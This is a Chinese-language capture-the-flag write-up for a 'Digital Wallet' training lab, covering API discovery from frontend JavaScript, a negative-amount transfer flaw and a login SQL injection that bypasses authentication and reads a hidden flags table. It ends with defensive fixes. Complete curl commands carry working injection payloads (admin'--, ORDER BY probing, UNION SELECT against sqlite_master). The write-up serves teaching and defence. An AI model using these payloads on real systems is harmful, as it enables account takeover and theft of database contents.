Digital Wallet Lab 靶场复盘:从前端接口枚举到 SQL 注入读取 flag

这篇是 Digital Wallet Lab 靶场的完整复盘。目标很明确:从一个只有登录页的钱包系统开始,找到后端漏洞并读取 flag。整条链路最后落在两个问题上:登录接口 SQL 注入转账金额缺少正数校验。前者用于拿到管理员身份和读取数据库,后者说明业务逻辑也有明显缺口。

文章只针对授权训练环境。下面所有命令里的地址统一写成 https://<your-lab>.trycloudflare.com,实际操作时替换成靶场给你的 Cloudflare Tunnel 地址即可。

一、目标与结论

靶场页面是一个名为 Digital Wallet 的单页应用,前端基于 Vite/Vue/Vuetify,后端是 Express。入口页面没有直接给注册功能,只展示了几个已有账号:alicebobcharlie

最终 flag 为:

CTF{w4llet_1dor_sqli_bu51ness_l0g1c}

完整利用思路如下:

  1. 访问首页,下载前端 JS chunk。
  2. 从前端代码里提取后端 API:/api/login/api/me/api/balance/api/transfer/api/transactions/api/users
  3. 测试默认口令,没有命中。
  4. 测试登录 SQL 注入,使用 admin'-- 绕过密码校验,拿到管理员 JWT。
  5. 确认登录查询列数为 6。
  6. 使用 UNION SELECTsqlite_master 读取表结构,发现 flags 表。
  7. 继续使用 UNION SELECT 读取 flags.flag_value,得到 flag。

二、连通性与基础信息收集

访问首页

先确认靶场是否能正常访问:

BASE="https://<your-lab>.trycloudflare.com"
curl -i -L "$BASE"

正常返回会看到类似页面:

<title>Digital Wallet</title>
<script type="module" crossorigin src="/assets/index-Cq7aS2Y4.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-DxCQ6krR.css">

这说明它是一个前后端分离的单页应用。页面真正的业务逻辑基本都在 /assets/*.js 里面。

网络问题排查

如果访问 Cloudflare Tunnel 时卡住,可以用 verbose 模式判断卡在哪里:

curl -vk --connect-timeout 8 --max-time 18 "$BASE"

我当时遇到过域名被解析到 198.18.* 这类 fake-ip 的情况,直连会超时。解决方式是让命令行走本机或宿主机代理。这个和漏洞本身无关,只是访问环境问题。浏览器能打开、curl 打不开时,优先检查代理、DNS 和 WSL 网关。

三、审前端:从 JS 里找 API

先下载首页和入口 JS:

mkdir -p /tmp/walletlab
curl -sS -L "$BASE/assets/index-Cq7aS2Y4.js" -o /tmp/walletlab/index.js

入口 JS 里会出现动态加载的 chunk 列表,关键文件包括:

assets/Login-C3jUqX1E.js
assets/Dashboard-BHub0iRv.js
assets/Transfer-BiuvpAcH.js
assets/Transactions-CIAEM1lM.js
assets/Profile-BLWGA2Rq.js
assets/index-D_BDq7UJ.js

继续下载这些 chunk:

curl -sS -L "$BASE/assets/Login-C3jUqX1E.js" -o /tmp/walletlab/Login.js
curl -sS -L "$BASE/assets/Dashboard-BHub0iRv.js" -o /tmp/walletlab/Dashboard.js
curl -sS -L "$BASE/assets/Transfer-BiuvpAcH.js" -o /tmp/walletlab/Transfer.js
curl -sS -L "$BASE/assets/Transactions-CIAEM1lM.js" -o /tmp/walletlab/Transactions.js
curl -sS -L "$BASE/assets/Profile-BLWGA2Rq.js" -o /tmp/walletlab/Profile.js
curl -sS -L "$BASE/assets/index-D_BDq7UJ.js" -o /tmp/walletlab/api.js

然后直接搜索关键字:

rg -n "(/api/|login|transfer|transactions|balance|users|Authorization|wallet_token)" /tmp/walletlab

最重要的是 api.js,它暴露了完整 API 封装:

baseURL: "/api"

POST /login
GET  /me
GET  /balance
POST /transfer
GET  /transactions
GET  /users

请求拦截器会从 localStorage 读取 wallet_token,然后带上:

Authorization: Bearer <token>

四、确认登录与未授权行为

先看未登录访问授权接口:

curl -i "$BASE/api/users"
curl -i "$BASE/api/me"

返回:

{"error":"未登录,请先登录"}

这说明接口本身确实需要 token。再测试页面公开账号的默认口令:

curl -i -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice"}' \
  "$BASE/api/login"

curl -i -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password"}' \
  "$BASE/api/login"

都返回:

{"error":"用户名或密码错误"}

默认口令不通,就要看登录接口是否有注入。

五、登录 SQL 注入:绕过密码拿 admin

直接测试最经典的注释截断:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"admin'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

返回了管理员用户和 JWT:

{
  "message": "登录成功",
  "token": "...",
  "user": {
    "id": 6,
    "username": "admin",
    "name": "Admin",
    "balance": 999999.99,
    "role": "admin",
    "email": "admin@wallet.local"
  }
}

这一步已经说明后端登录查询大概率类似下面这样拼接 SQL:

SELECT ... FROM users
WHERE username = '$username'
  AND password = '$password'

当用户名传入 admin'-- 后,后半段密码条件被 SQL 注释掉,相当于只按用户名查用户。

保存管理员 token

实际操作时,把返回里的 token 存成变量:

TOKEN="这里替换成登录返回的 JWT"

然后访问管理员自己的资料:

curl -sS -H "Authorization: Bearer $TOKEN" "$BASE/api/me"

如果返回 admin 信息,说明身份可用。

六、业务逻辑漏洞:负数转账

前端转账页只判断金额不能为 0:

if (isNaN(amount) || amount === 0) {
  error = "请输入有效的转账金额"
}

它没有禁止负数。于是可以测试服务端有没有兜底:

curl -sS -L -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"to_user_id":4,"amount":-0.01,"note":"balance check"}' \
  "$BASE/api/transfer"

返回:

{
  "message": "转账成功",
  "transfer": {
    "from_user_id": 6,
    "to_user_id": 4,
    "amount": -0.01,
    "note": "balance check"
  },
  "new_balance": 1000000
}

这说明服务端也没有正确校验 amount > 0。管理员原本余额是 999999.99,转账 -0.01 后变成了 1000000。这是一个典型业务逻辑漏洞,但它还不是最终拿 flag 的关键点。真正关键还是 SQL 注入读库。

七、确定 UNION 注入列数

想从数据库里读表结构,需要让 UNION SELECT 的列数和原始登录查询一致。可以用 ORDER BY 探测:

for n in 1 2 3 4 5 6 7 8 9 10 11 12; do
  body="{\"username\":\"x' ORDER BY $n--\",\"password\":\"x\"}"
  code=$(curl -sS -o /tmp/walletlab/ord.out -w '%{http_code}' \
    -H "Content-Type: application/json" \
    -d "$body" \
    "$BASE/api/login")
  printf 'ORDER BY %s -> %s ' "$n" "$code"
  cat /tmp/walletlab/ord.out
  echo
done

结果是:

ORDER BY 1 -> 401
ORDER BY 2 -> 401
ORDER BY 3 -> 401
ORDER BY 4 -> 401
ORDER BY 5 -> 401
ORDER BY 6 -> 401
ORDER BY 7 -> 500

ORDER BY 6 正常,ORDER BY 7 报错,所以原查询返回 6 列

八、确认 6 列分别映射到什么字段

构造一条假用户:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"x' UNION SELECT 999,'uname','nname','emailx',12345,'admin'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

返回里可以看到:

{
  "user": {
    "id": 999,
    "username": "uname",
    "name": "nname",
    "balance": "emailx",
    "role": 12345,
    "email": "admin"
  }
}

所以 6 列映射关系是:

第几列 返回字段 示例值
1 id 999
2 username uname
3 name nname
4 balance emailx
5 role 12345
6 email admin

为了让返回 token 也带管理员权限,第 5 列应该放 'admin'。为了方便看数据,可以把想读的内容塞到第 2 列,也就是 username

九、读取 SQLite 表结构

SQLite 的表结构存在 sqlite_master 里。用 group_concat 把表名和建表语句拼起来:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(name||':'||sql,char(10)) FROM sqlite_master WHERE type='table'),'schema',0,'admin','e'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

返回的 user.username 里能看到三张关键表:

users:CREATE TABLE users (...)
transactions:CREATE TABLE transactions (...)
flags:CREATE TABLE flags (
  id INTEGER PRIMARY KEY,
  flag_value TEXT NOT NULL
)

这里已经明确 flag 存在 flags.flag_value

十、读取 flag

最后一步,直接读 flags 表:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(flag_value,char(10)) FROM flags),'flag',0,'admin','e'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

返回:

{
  "user": {
    "id": 1,
    "username": "CTF{w4llet_1dor_sqli_bu51ness_l0g1c}",
    "name": "flag",
    "balance": 0,
    "role": "admin",
    "email": "e"
  }
}

所以最终 flag 是:

CTF{w4llet_1dor_sqli_bu51ness_l0g1c}

十一、完整命令速查

如果你只想复现,可以按下面这个最短路径走。先替换 BASE

BASE="https://<your-lab>.trycloudflare.com"

验证登录注入拿管理员:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"admin'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

读表结构:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(name||':'||sql,char(10)) FROM sqlite_master WHERE type='table'),'schema',0,'admin','e'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

读 flag:

curl -sS -L -H "Content-Type: application/json" \
  -d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(flag_value,char(10)) FROM flags),'flag',0,'admin','e'--\",\"password\":\"x\"}" \
  "$BASE/api/login"

十二、为什么这个漏洞成立

这个靶场把两个常见问题放在了一起。

1. 登录 SQL 拼接

从现象看,后端把用户输入直接拼进了 SQL。只要输入里出现单引号和注释符,就能改变原查询逻辑。正确做法应该是使用参数化查询,例如:

db.get(
  "SELECT * FROM users WHERE username = ? AND password = ?",
  [username, password]
)

无论用户传入什么特殊字符,都只会被当作参数值,不会变成 SQL 语法的一部分。

2. 金额校验只放在前端

前端判断不等于安全校验。浏览器里的代码用户可以改,接口也可以绕过前端直接请求。所以转账接口必须在服务端检查:

if (!Number.isFinite(amount) || amount <= 0) {
  return res.status(400).json({ error: "金额必须大于 0" })
}

还要注意精度问题,真实钱包不应该直接用浮点数保存金额,更稳妥的做法是用整数分,例如 100 表示 1.00 元。

十三、防护清单

  • 所有 SQL 使用参数化查询,不要字符串拼接。
  • 密码使用哈希存储,不要明文保存密码。
  • 服务端重复校验关键业务规则,尤其是金额、用户 ID、权限、状态流转。
  • 金额用整数最小单位保存,避免浮点数误差。
  • JWT 只做身份载体,关键权限仍然要在服务端查库确认。
  • 隐藏表不是安全边界,只要有 SQL 注入,数据库里的隐藏表都可能被读到。
  • 错误响应不要泄露 SQL 细节,但同时要有服务端日志方便定位。

十四、复盘

这题的关键不是“暴力猜密码”,而是先从前端还原后端接口,再围绕认证入口做输入测试。登录口一旦有 SQL 注入,就可以先绕过身份,再利用同一个注入点读取数据库 schema,最后定位到 flags 表。

完整链路可以概括为:

前端 JS 枚举 API
  -> /api/login SQL 注入
  -> admin'-- 拿管理员 JWT
  -> ORDER BY 确认 6 列
  -> UNION SELECT 读取 sqlite_master
  -> 发现 flags 表
  -> UNION SELECT 读取 flag_value
  -> CTF{w4llet_1dor_sqli_bu51ness_l0g1c}

对新手来说,这题很适合练三个基本功:看前端包找接口用 curl 复现请求用 SQL 注入从绕过登录走到读库。只要按顺序做,不需要复杂工具,也不需要大字典爆破。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
} });